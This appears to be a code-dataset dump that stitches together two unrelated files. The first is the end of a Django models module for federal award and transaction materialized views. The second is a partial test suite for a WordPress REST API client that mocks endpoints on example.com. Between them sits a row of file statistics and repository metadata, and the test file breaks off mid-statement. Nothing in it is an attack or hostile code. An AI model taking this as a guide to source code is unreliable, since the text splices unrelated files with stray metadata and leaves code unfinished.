db_column='latest_transaction_unique_id',
related_query_name='latest_transaction')
action_date = models.TextField()
agency_id = models.TextField()
assistance_type = models.TextField()
awarding_agency_abbr = models.TextField()
awarding_agency_code = models.TextField()
awarding_agency_id = models.TextField()
awarding_agency_name = models.TextField()
awarding_office_code = models.TextField()
awarding_office_name = models.TextField()
awarding_sub_tier_agency_abbr = models.TextField()
awarding_sub_tier_agency_c = models.TextField()
awarding_sub_tier_agency_n = models.TextField()
base_and_all_options_value = models.DecimalField(max_digits=15, decimal_places=2)
business_categories = ArrayField(models.TextField())
business_funds_indicator = models.TextField()
business_types = models.TextField()
business_types_description = models.TextField()
category = models.TextField()
certified_date = models.DateTimeField()
cfda_number = models.TextField()
cfda_objectives = models.TextField()
cfda_title = models.TextField()
clinger_cohen_act_pla_desc = models.TextField()
clinger_cohen_act_planning = models.TextField()
commercial_item_acqui_desc = models.TextField()
commercial_item_acquisitio = models.TextField()
commercial_item_test_desc = models.TextField()
commercial_item_test_progr = models.TextField()
consolidated_contract = models.TextField()
consolidated_contract_desc = models.TextField()
contract_award_type_desc = models.TextField()
cost_or_pricing_data = models.TextField()
cost_or_pricing_data_desc = models.TextField()
date_signed = models.TextField()
construction_wage_rate_req = models.TextField()
construction_wage_rat_desc = models.TextField()
description = models.TextField()
dod_claimant_prog_cod_desc = models.TextField()
dod_claimant_program_code = models.TextField()
domestic_or_foreign_e_desc = models.TextField()
domestic_or_foreign_entity = models.TextField()
evaluated_preference = models.TextField()
evaluated_preference_desc = models.TextField()
extent_compete_description = models.TextField()
extent_competed = models.TextField()
fain = models.TextField()
fair_opportunity_limi_desc = models.TextField()
fair_opportunity_limited_s = models.TextField()
fed_biz_opps = models.TextField()
fed_biz_opps_description = models.TextField()
fiscal_year = models.TextField()
foreign_funding = models.TextField()
foreign_funding_desc = models.TextField()
funding_agency_abbr = models.TextField()
funding_agency_code = models.TextField()
funding_agency_id = models.TextField()
funding_agency_name = models.TextField()
funding_office_code = models.TextField()
funding_office_name = models.TextField()
funding_sub_tier_agency_abbr = models.TextField()
funding_sub_tier_agency_co = models.TextField()
funding_sub_tier_agency_na = models.TextField()
idv_type = models.TextField()
idv_type_description = models.TextField()
information_technolog_desc = models.TextField()
information_technology_com = models.TextField()
interagency_contract_desc = models.TextField()
interagency_contracting_au = models.TextField()
last_modified_date = models.DateTimeField()
major_program = models.TextField()
multi_year_contract = models.TextField()
multi_year_contract_desc = models.TextField()
multiple_or_single_aw_desc = models.TextField()
multiple_or_single_award_i = models.TextField()
naics = models.TextField()
naics_description = models.TextField()
number_of_offers_received = models.TextField()
officer_1_amount = models.TextField()
officer_1_name = models.TextField()
officer_2_amount = models.TextField()
officer_2_name = models.TextField()
officer_3_amount = models.TextField()
officer_3_name = models.TextField()
officer_4_amount = models.TextField()
officer_4_name = models.TextField()
officer_5_amount = models.TextField()
officer_5_name = models.TextField()
other_than_full_and_o_desc = models.TextField()
other_than_full_and_open_c = models.TextField()
parent_award_piid = models.TextField()
parent_recipient_unique_id = models.TextField()
period_of_performance_current_end_date = models.DateTimeField()
period_of_performance_start_date = models.DateTimeField()
piid = models.TextField()
pop_city_name = models.TextField()
pop_code = models.TextField()
pop_congressional_code = models.TextField()
pop_country_code = models.TextField()
pop_country_name = models.TextField()
pop_county_code = models.TextField()
pop_county_name = models.TextField()
pop_foreign_province = models.TextField()
pop_state_code = models.TextField()
pop_state_name = models.TextField()
pop_zip5 = models.TextField()
potential_total_value_of_award = models.DecimalField(max_digits=15, decimal_places=2)
price_evaluation_adjustmen = models.TextField()
product_or_service_co_desc = models.TextField()
product_or_service_code = models.TextField()
program_acronym = models.TextField()
program_system_or_equ_desc = models.TextField()
program_system_or_equipmen = models.TextField()
pulled_from = models.TextField()
purchase_card_as_paym_desc = models.TextField()
purchase_card_as_payment_m = models.TextField()
recipient_location_address_line1 = models.TextField()
recipient_location_address_line2 = models.TextField()
recipient_location_address_line3 = models.TextField()
recipient_location_city_code = models.TextField()
recipient_location_city_name = models.TextField()
recipient_location_congressional_code = models.TextField()
recipient_location_country_code = models.TextField()
recipient_location_country_name = models.TextField()
recipient_location_county_code = models.TextField()
recipient_location_county_name = models.TextField()
recipient_location_foreign_city_name = models.TextField()
recipient_location_foreign_postal_code = models.TextField()
recipient_location_foreign_province = models.TextField()
recipient_location_state_code = models.TextField()
recipient_location_state_name = models.TextField()
recipient_location_zip5 = models.TextField()
recipient_name = models.TextField()
recipient_unique_id = models.TextField()
record_type = models.IntegerField()
referenced_idv_agency_desc = models.TextField()
referenced_idv_agency_iden = models.TextField()
sai_number = models.TextField()
sea_transportation = models.TextField()
sea_transportation_desc = models.TextField()
labor_standards = models.TextField()
labor_standards_descrip = models.TextField()
small_business_competitive = models.TextField()
solicitation_identifier = models.TextField()
solicitation_procedur_desc = models.TextField()
solicitation_procedures = models.TextField()
subaward_count = models.IntegerField()
subcontracting_plan = models.TextField()
subcontracting_plan_desc = models.TextField()
total_obligation = models.DecimalField(max_digits=15, decimal_places=2)
total_outlay = models.DecimalField(max_digits=15, decimal_places=2)
total_subaward_amount = models.DecimalField(max_digits=15, decimal_places=2)
total_subsidy_cost = models.DecimalField(max_digits=20, decimal_places=2, null=True, blank=True)
total_loan_value = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
type = models.TextField()
type_description = models.TextField()
type_of_contract_pric_desc = models.TextField()
type_of_contract_pricing = models.TextField()
type_of_idc = models.TextField()
type_of_idc_description = models.TextField()
type_set_aside = models.TextField()
type_set_aside_description = models.TextField()
uri = models.TextField()
materials_supplies_article = models.TextField()
materials_supplies_descrip = models.TextField()
class Meta:
managed = False
db_table = 'award_matview'
class AwardCategory(models.Model):
type_code = models.TextField()
type_name = models.TextField()
class Meta:
managed = False
db_table = 'award_category'
class TransactionMatview(models.Model):
generated_unique_transaction_id = models.TextField(primary_key=True, db_column='generated_unique_transaction_id')
award = models.ForeignKey(to='awards.AwardMatview',
to_field='generated_unique_award_id',
db_column='generated_unique_award_id',
related_query_name='award')
action_date = models.DateTimeField()
agency_id = models.TextField()
assistance_type = models.TextField()
award_description = models.TextField()
award_modification_amendme = models.TextField()
awardee_or_recipient_legal = models.TextField()
awardee_or_recipient_uniqu = models.TextField()
awarding_agency_code = models.TextField()
awarding_agency_name = models.TextField()
awarding_sub_tier_agency_c = models.TextField()
awarding_sub_tier_agency_n = models.TextField()
awarding_office_code = models.TextField()
awarding_office_name = models.TextField()
base_and_all_options_value = models.DecimalField(max_digits=15, decimal_places=2)
business_funds_indicator = models.TextField()
business_types = models.TextField()
business_types_description = models.TextField()
cfda_number = models.TextField()
cfda_title = models.TextField()
contract_award_type = models.TextField()
contract_award_type_desc = models.TextField()
extent_compete_description = models.TextField()
extent_competed = models.TextField()
fain = models.TextField()
federal_action_obligation = models.DecimalField(max_digits=15, decimal_places=2)
funding_agency_code = models.TextField()
funding_agency_name = models.TextField()
funding_sub_tier_agency_co = models.TextField()
funding_sub_tier_agency_na = models.TextField()
funding_office_code = models.TextField()
funding_office_name = models.TextField()
idv_type = models.TextField()
idv_type_description = models.TextField()
last_modified_date = models.TextField()
naics = models.TextField()
naics_description = models.TextField()
original_loan_subsidy_cost = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
face_value_loan_guarantee = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
parent_award_piid = models.TextField()
period_of_performance_curr = models.DateTimeField()
period_of_performance_star = models.DateTimeField()
piid = models.TextField()
pop_city_name = models.TextField()
pop_country_code = models.TextField()
pop_country_name = models.TextField()
pop_county_code = models.TextField()
pop_county_name = models.TextField()
pop_state_code = models.TextField()
pop_state_name = models.TextField()
pop_congressional_code = models.TextField()
pop_zip5 = models.TextField()
product_or_service_co_desc = models.TextField()
product_or_service_code = models.TextField()
pulled_from = models.TextField()
recipient_location_address_line1 = models.TextField()
recipient_location_address_line2 = models.TextField()
recipient_location_address_line3 = models.TextField()
recipient_location_city_name = models.TextField()
recipient_location_congressional_code = models.TextField()
recipient_location_country_code = models.TextField()
recipient_location_country_name = models.TextField()
recipient_location_county_code = models.TextField()
recipient_location_county_name = models.TextField()
recipient_location_foreign_province = models.TextField()
recipient_location_state_code = models.TextField()
recipient_location_state_name = models.TextField()
recipient_location_zip5 = models.TextField()
record_type = models.IntegerField()
referenced_idv_agency_iden = models.TextField()
referenced_idv_type = models.TextField()
referenced_idv_type_desc = models.TextField()
sai_number = models.TextField()
transaction_number = models.TextField()
type_of_contract_pricing = models.TextField()
type_set_aside = models.TextField()
type_set_aside_description = models.TextField()
uri = models.TextField()
class Meta:
managed = False
db_table = 'transaction_matview'
class SubawardView(models.Model):
subaward = models.OneToOneField(Subaward, primary_key=True, on_delete=models.deletion.DO_NOTHING)
keyword_ts_vector = SearchVectorField()
award_ts_vector = SearchVectorField()
recipient_name_ts_vector = SearchVectorField()
latest_transaction_id = models.IntegerField()
last_modified_date = models.DateField()
subaward_number = models.TextField()
amount = models.DecimalField(max_digits=20, decimal_places=2)
total_obl_bin = models.TextField()
description = models.TextField(null=True, blank=True)
fiscal_year = models.IntegerField()
action_date = models.DateField()
award_report_fy_month = models.IntegerField()
award_report_fy_year = models.IntegerField()
# award = models.OneToOneField(Award, primary_key=True)
award = models.OneToOneField(Award, primary_key=True)
awarding_agency_id = models.IntegerField()
funding_agency_id = models.IntegerField()
awarding_toptier_agency_name = models.TextField()
awarding_subtier_agency_name = models.TextField()
funding_toptier_agency_name = models.TextField()
funding_subtier_agency_name = models.TextField()
awarding_toptier_agency_abbreviation = models.TextField()
funding_toptier_agency_abbreviation = models.TextField()
awarding_subtier_agency_abbreviation = models.TextField()
funding_subtier_agency_abbreviation = models.TextField()
recipient_unique_id = models.TextField()
recipient_name = models.TextField()
dba_name = models.TextField()
parent_recipient_unique_id = models.TextField()
parent_recipient_name = models.TextField()
business_type_code = models.TextField()
business_type_description = models.TextField()
award_type = models.TextField()
prime_award_type = models.TextField()
cfda_id = models.IntegerField()
piid = models.TextField()
fain = models.TextField()
business_categories = ArrayField(models.TextField(), default=list)
prime_recipient_name = models.TextField()
pulled_from = models.TextField()
type_of_contract_pricing = models.TextField()
type_set_aside = models.TextField()
extent_competed = models.TextField()
product_or_service_code = models.TextField()
product_or_service_description = models.TextField()
cfda_number = models.TextField()
cfda_title = models.TextField()
recipient_location_country_code = models.TextField()
recipient_location_country_name = models.TextField()
recipient_location_city_name = models.TextField()
recipient_location_state_code = models.TextField()
recipient_location_state_name = models.TextField()
recipient_location_county_code = models.TextField()
recipient_location_county_name = models.TextField()
recipient_location_zip5 = models.TextField()
recipient_location_street_address = models.TextField()
recipient_location_congressional_code = models.TextField()
pop_country_code = models.TextField()
pop_country_name = models.TextField()
pop_state_code = models.TextField()
pop_state_name = models.TextField()
pop_county_code = models.TextField()
pop_county_name = models.TextField()
pop_city_code = models.TextField()
pop_city_name = models.TextField()
pop_zip5 = models.TextField()
pop_street_address = models.TextField()
pop_congressional_code = models.TextField()
class Meta:
managed = False
db_table = 'subaward_view'
class SummaryTransactionRecipientView(models.Model):
duh = models.UUIDField(primary_key=True, help_text="Deterministic Unique Hash")
action_date = models.DateField()
fiscal_year = models.IntegerField()
type = models.TextField()
pulled_from = models.TextField()
recipient_hash = models.UUIDField()
recipient_name = models.TextField()
recipient_unique_id = models.TextField()
parent_recipient_unique_id = models.TextField()
generated_pragmatic_obligation = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
federal_action_obligation = models.DecimalField(max_digits=20, decimal_places=2, blank=True, null=True)
original_loan_subsidy_cost = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
face_value_loan_guarantee = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
counts = models.IntegerField()
class Meta:
managed = False
db_table = 'summary_transaction_recipient_view'
class SummaryAwardRecipientView(models.Model):
duh = models.UUIDField(primary_key=True, help_text="Deterministic Unique Hash")
date_signed = models.DateField(blank=False)
action_date = models.DateField(blank=True)
fiscal_year = models.IntegerField()
type = models.TextField(blank=True, null=True)
recipient_hash = models.UUIDField(null=True)
parent_recipient_unique_id = models.TextField(blank=True, null=True)
counts = models.IntegerField()
class Meta:
managed = False
db_table = 'summary_award_recipient_view'
| 45.625571 | 117 | 0.760283 | 4,602 | 39,968 | 6.251847 | 0.067145 | 0.267978 | 0.066699 | 0.083417 | 0.863682 | 0.822043 | 0.789962 | 0.77029 | 0.739946 | 0.709708 | 0 | 0.006512 | 0.150871 | 39,968 | 875 | 118 | 45.677714 | 0.84124 | 0.001326 | 0 | 0.738065 | 0 | 0 | 0.022198 | 0.011425 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.007742 | 0 | 0.938065 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 9 |
98f096566c27b8ecba3ea4d3107dc85b534aa66f | 75,248 | py | Python | wordpress_api/tests.py | kallewesterling/django-wordpress-api | 856ab95ce83345e21f801d59967d3afb6bdf9250 | [
"MIT"
] | 18 | 2016-09-02T16:04:25.000Z | 2020-10-23T01:27:49.000Z | wordpress_api/tests.py | ImaginaryLandscape/django-wordpress-api | 1dd205d095b6f637779cc437ffa8b6004e40075a | [
"MIT"
] | 11 | 2017-01-11T20:37:29.000Z | 2022-03-23T20:19:04.000Z | wordpress_api/tests.py | ImaginaryLandscape/django-wordpress-api | 1dd205d095b6f637779cc437ffa8b6004e40075a | [
"MIT"
] | 9 | 2016-10-27T14:17:48.000Z | 2021-04-23T15:31:56.000Z | # !/usr/bin/env python
# -*- coding: utf-8 -*-
import responses
from django.urls import reverse
from django.conf import settings
from django.core.exceptions import ImproperlyConfigured
from django.test import TestCase, override_settings, Client
from wordpress_api.utils import WPApiConnector
"""
test_django-wordpress-api
------------
Tests for `django-wordpress-api` models module.
"""
class TestUtils(TestCase):
"""
Tests for wordpress_api.utils
"""
@responses.activate
def setUp(self):
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/users/',
status=200,
json=[{
"id": 2,
"name": "test-slug",
"url": "",
"description": "",
"link": "https://example.com/blog/author/test-slug/",
"slug": "test-slug",
"avatar_urls": {
"24": "https://example.com/test-avatar",
},
"meta": [],
"_links": {
"self": [
{
"href": "https://example.com/wp-json/wp/v2/users/2"
}
],
"collection": [
{
"href": "https://example.com/wp-json/wp/v2/users"
}
]
}
}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/tags/',
status=200,
json=[{
'count': 1,
'description': '',
'id': 1,
'link': 'https://example.com/blog/tag/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/post_tag'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/tags'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [{
'href': 'https://example.com/wp-json/wp/v2/tags/1'
}],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?tags=1'
}
]
},
'taxonomy': 'post_tag'}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/categories/',
status=200,
json=[{
'count': 4,
'description': '',
'id': 1,
'link': 'https://example.com/blog/category/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/category'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/categories'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [
{
'href': 'https://example.com/wp-json/wp/v2/categories/1'
}
],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?categories=1'
}
]
},
'taxonomy': 'category'}],
content_type='application/json')
self.connector = WPApiConnector()
self.default_response_kwargs = {
'json': {'success': 'something found'},
'status': 200,
'content_type': 'application/json',
}
def test_connector_load_meta_data(self):
"""
if load_meta_data is False, the wordpress
metadata should be empty
"""
connector = WPApiConnector(load_meta_data=False)
self.assertFalse(connector.authors)
self.assertFalse(connector.categories)
self.assertFalse(connector.tags)
def test_connector_gets_all_authors(self):
"""
connector object should have the authors as one
of its properties
"""
self.assertTrue(self.connector.authors is not None)
self.assertTrue('test-slug' in self.connector.authors)
self.assertEqual(self.connector.authors['test-slug']['id'], 2)
@override_settings(WP_URL='')
def test_raises_error_if_no_api_url(self):
"""
If the wp_api url is not defined, utils should
return a message with configuration error.
"""
with self.assertRaises(ImproperlyConfigured):
WPApiConnector()
@responses.activate
def test_connection_returns_error(self):
"""
If server cannot be reached a message with server error
should be returned
"""
connector = self.connector
posts = connector.get_posts()
self.assertTrue('server_error' in posts.keys())
@responses.activate
def test_error_status_propagates(self):
"""
When we get a non 200 status from the server,
an error indicating that something happened along with the
status code is required.
"""
responses.add(responses.GET, settings.WP_URL + 'wp-json/wp/v2/posts/',
status=404,
content_type='application/json')
posts = self.connector.get_posts()
self.assertTrue('server_error' in posts.keys())
@responses.activate
def test_error_status_propagates_authors(self):
"""
When we get a non 200 status from the server,
an error indicating that something happened along with the
status code is required.
"""
responses.add(responses.GET, settings.WP_URL + 'wp-json/wp/v2/users/',
status=404,
content_type='application/json')
authors = self.connector.get_authors()
self.assertTrue('server_error' in authors.keys())
@responses.activate
def test_authors_gets_several_pages(self):
"""
When the endpoint returns several pages, the
get_authors method should get all the data
from all the pages
"""
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/users/',
status=200,
headers={'X-WP-TotalPages': "2"},
json=[{
"id": 2,
"name": "test-slug",
"url": "",
"description": "",
"link": "https://example.com/blog/author/test-slug/",
"slug": "test-slug",
"avatar_urls": {
"24": "https://example.com/test-avatar",
},
"meta": [],
"_links": {
"self": [
{
"href": "https://example.com/wp-json/wp/v2/users/2"
}
],
"collection": [
{
"href": "https://example.com/wp-json/wp/v2/users"
}
]
}
}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/users/',
status=200,
headers={'X-WP-TotalPages': "2"},
json=[{
"id": 2,
"name": "test-slug-2",
"url": "",
"description": "",
"link": "https://example.com/blog/author/test-slug/",
"slug": "test-slug-2",
"avatar_urls": {
"24": "https://example.com/test-avatar",
},
"meta": [],
"_links": {
"self": [
{
"href": "https://example.com/wp-json/wp/v2/users/2"
}
],
"collection": [
{
"href": "https://example.com/wp-json/wp/v2/users"
}
]
}
}],
content_type='application/json')
authors = self.connector.get_authors()
self.assertEqual(2, len(authors.keys()))
@responses.activate
def test_connection_error_propagates(self):
"""
When we get a connection error from the server,
an error indicating that something happened along with the
status code is required.
"""
posts = self.connector.get_posts()
self.assertTrue('server_error' in posts.keys())
@responses.activate
def test_error_status_propagates_get_tags(self):
"""
When we get a non 200 status from the server,
an error indicating that something happened along with the
status code is required.
"""
responses.add(responses.GET,
settings.WP_URL + 'wp-json/wp/v2/tags/',
status=404,
content_type='application/json')
posts = self.connector.get_tags()
self.assertTrue('server_error' in posts.keys())
@responses.activate
def test_tags_gets_several_pages(self):
"""
When the endpoint returns several pages, the
get_tags method should get all the data
from all the pages
"""
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/tags/',
status=200,
headers={'X-WP-TotalPages': "2"},
json=[{
'count': 1,
'description': '',
'id': 1,
'link': 'https://example.com/blog/tag/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/post_tag'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/tags'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [{
'href': 'https://example.com/wp-json/wp/v2/tags/1'
}],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?tags=1'
}
]
},
'taxonomy': 'post_tag'}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/tags/',
status=200,
headers={'X-WP-TotalPages': "2"},
json=[{
'count': 1,
'description': '',
'id': 1,
'link': 'https://example.com/blog/tag/test/',
'meta': [],
'name': 'test 2',
'slug': 'test-2',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/post_tag'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/tags'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [{
'href': 'https://example.com/wp-json/wp/v2/tags/1'
}],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?tags=1'
}
]
},
'taxonomy': 'post_tag'}],
content_type='application/json')
tags = self.connector.get_tags()
self.assertEqual(2, len(tags))
@responses.activate
def test_connection_error_propagates_get_tags(self):
"""
When we get a connection error from the server,
an error indicating that something happened along with the
status code is required.
"""
posts = self.connector.get_tags()
self.assertTrue('server_error' in posts.keys())
@responses.activate
def test_error_status_propagates_get_categories(self):
"""
When we get a non 200 status from the server,
an error indicating that something happened along with the
status code is required.
"""
responses.add(responses.GET,
settings.WP_URL + 'wp-json/wp/v2/categories/',
status=404,
content_type='application/json')
posts = self.connector.get_categories()
self.assertTrue('server_error' in posts.keys())
@responses.activate
def test_connection_error_propagates_get_categories(self):
"""
When we get a connection error from the server,
an error indicating that something happened along with the
status code is required.
"""
posts = self.connector.get_categories()
self.assertTrue('server_error' in posts.keys())
@responses.activate
def test_categories_gets_several_pages(self):
"""
When the endpoint returns several pages, the
get_categories method should get all the data
from all the pages
"""
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/categories/',
status=200,
headers={'X-WP-TotalPages': "2"},
json=[{
'count': 4,
'description': '',
'id': 1,
'link': 'https://example.com/blog/category/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/category'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/categories'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [
{
'href': 'https://example.com/wp-json/wp/v2/categories/1'
}
],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?categories=1'
}
]
},
'taxonomy': 'category'}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/categories/',
status=200,
headers={'X-WP-TotalPages': "2"},
json=[{
'count': 4,
'description': '',
'id': 1,
'link': 'https://example.com/blog/category/test/',
'meta': [],
'name': 'test 2',
'slug': 'test-2',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/category'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/categories'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [
{
'href': 'https://example.com/wp-json/wp/v2/categories/1'
}
],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?categories=1'
}
]
},
'taxonomy': 'category'}],
content_type='application/json')
categories = self.connector.get_categories()
self.assertEqual(2, len(categories))
@responses.activate
def test_connector_uses_orderby(self):
"""
By default orderby is defined to be date.
It can be something else (like title) and the query should be changed
accordingly.
"""
responses.add(responses.GET, settings.WP_URL + 'wp-json/wp/v2/posts/',
**self.default_response_kwargs)
posts = self.connector.get_posts()
self.assertTrue(
'orderby=date' in posts['headers']['request_url'])
posts = self.connector.get_posts(orderby='title')
self.assertTrue(
'orderby=title' in posts['headers']['request_url'])
@responses.activate
def test_page_number_is_used(self):
"""
Page number is 1 by default. If it is an int it gets used.
If it is None it gets ignored.
"""
responses.add(responses.GET, settings.WP_URL + 'wp-json/wp/v2/posts/',
**self.default_response_kwargs)
posts = self.connector.get_posts()
self.assertTrue('page=1' in posts['headers']['request_url'])
posts = self.connector.get_posts(page_number=10)
self.assertTrue('page=10' in posts['headers']['request_url'])
posts = self.connector.get_posts(page_number=None)
self.assertTrue('page=' not in posts['headers']['request_url'])
@responses.activate
def test_extra_filters(self):
"""
If filter_type and filter_content are passed as arguments,
they are taken in account for the query to the server.
Otherwise ignored.
"""
responses.add(responses.GET, settings.WP_URL + 'wp-json/wp/v2/posts/',
**self.default_response_kwargs)
posts = self.connector.get_posts(
wp_filter={'some_filter': 'some_content'})
self.assertTrue(
'some_filter=some_content' in posts[
'headers']['request_url'])
@responses.activate
def test_custom_types(self):
"""
If custom type is defined, it should be used, otherwise ignored
"""
responses.add(responses.GET, settings.WP_URL + 'wp-json/wp/v2/posts/',
**self.default_response_kwargs)
posts = self.connector.get_posts()
self.assertTrue('type=' not in posts['headers']['request_url'])
posts = self.connector.get_posts(custom_type='glossary')
self.assertTrue('type=glossary' in posts['headers']['request_url'])
class TestViews(TestCase):
"""
Tests for wordpress_api.views
"""
def setUp(self):
self.default_response_kwargs = {
'json': [{
"tags": [
1
],
"categories": [
1
],
"_embedded": {
"author": [
{
"id": 12,
"name": "test-slug",
"url": "",
"link": "https://example.com/blog/author/test-slug/",
"slug": "test-slug",
"avatar_urls": {
"24": "https://example.com/test-avatar",
},
}
],
"wp:featuredmedia": [
{
"id": 4543,
}
],
},
'excerpt': 'test blog',
'slug': 'test-blog',
'date': '2007-01-25T12:00:00Z',
'author': {'name': 'test', 'slug': 'test-slug'},
'terms': {
'post_tag': [{'slug': 'test-tag',
'name': 'test tag'}],
'category': [{'slug': 'test-category',
'name': 'test category'}]
},
'date_gmt': '2007-01-25T12:00:00Z',
}],
'status': 200,
'content_type': 'application/json',
'adding_headers': {'X-WP-Total': '1', 'X-WP-TotalPages': '1'},
}
self.client = Client()
# BlogListView
@responses.activate
def test_blog_list_view_return_200(self):
"""
If the wp client gets information, it should return a 200
"""
responses.add(responses.GET, settings.WP_URL + 'wp-json/wp/v2/posts/',
**self.default_response_kwargs)
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/users/',
status=200,
json=[{
"id": 2,
"name": "test-slug",
"url": "",
"description": "",
"link": "https://example.com/blog/author/test-slug/",
"slug": "test-slug",
"avatar_urls": {
"24": "https://example.com/test-avatar",
},
"meta": [],
"_links": {
"self": [
{
"href": "https://example.com/wp-json/wp/v2/users/2"
}
],
"collection": [
{
"href": "https://example.com/wp-json/wp/v2/users"
}
]
}
}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/tags/',
status=200,
json=[{
'count': 1,
'description': '',
'id': 1,
'link': 'https://example.com/blog/tag/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/post_tag'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/tags'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [{
'href': 'https://example.com/wp-json/wp/v2/tags/1'
}],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?tags=1'
}
]
},
'taxonomy': 'post_tag'}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/categories/',
status=200,
json=[{
'count': 4,
'description': '',
'id': 1,
'link': 'https://example.com/blog/category/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/category'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/categories'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [
{
'href': 'https://example.com/wp-json/wp/v2/categories/1'
}
],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?categories=1'
}
]
},
'taxonomy': 'category'}],
content_type='application/json')
response = self.client.get(reverse('wordpress_api_blog_list'))
self.assertEqual(response.status_code, 200)
@responses.activate
def test_blog_list_view_return_404_if_server_error(self):
"""
If there is a problem with the wp server, it should
return 404
"""
response = self.client.get(reverse('wordpress_api_blog_list'))
self.assertEqual(response.status_code, 404)
@responses.activate
def test_blog_list_view_return_404_if_connection_error(self):
"""
If the server returns something different that 200, it should
return 404
"""
responses.add(responses.GET, settings.WP_URL + 'wp-json/wp/v2/posts/',
status=404,
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/users/',
status=200,
json=[{
"id": 2,
"name": "test-slug",
"url": "",
"description": "",
"link": "https://example.com/blog/author/test-slug/",
"slug": "test-slug",
"avatar_urls": {
"24": "https://example.com/test-avatar",
},
"meta": [],
"_links": {
"self": [
{
"href": "https://example.com/wp-json/wp/v2/users/2"
}
],
"collection": [
{
"href": "https://example.com/wp-json/wp/v2/users"
}
]
}
}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/tags/',
status=200,
json=[{
'count': 1,
'description': '',
'id': 1,
'link': 'https://example.com/blog/tag/test/',
'meta': [],
'name': 'test',
'slug': 'test',
'_links': {
'about': [
{
'href': 'https://example.com/wp-json/wp/v2/taxonomies/post_tag'
}
],
'collection': [
{
'href': 'https://example.com/wp-json/wp/v2/tags'
}
],
'curies': [
{
'href': 'https://api.w.org/{rel}',
'name': 'wp',
'templated': True
}
],
'self': [{
'href': 'https://example.com/wp-json/wp/v2/tags/1'
}],
'wp:post_type': [
{
'href': 'https://example.com/wp-json/wp/v2/posts?tags=1'
}
]
},
'taxonomy': 'post_tag'}],
content_type='application/json')
responses.add(
responses.GET, settings.WP_URL + 'wp-json/wp/v2/categories/',
status=200,
json=[{
'count': 4,
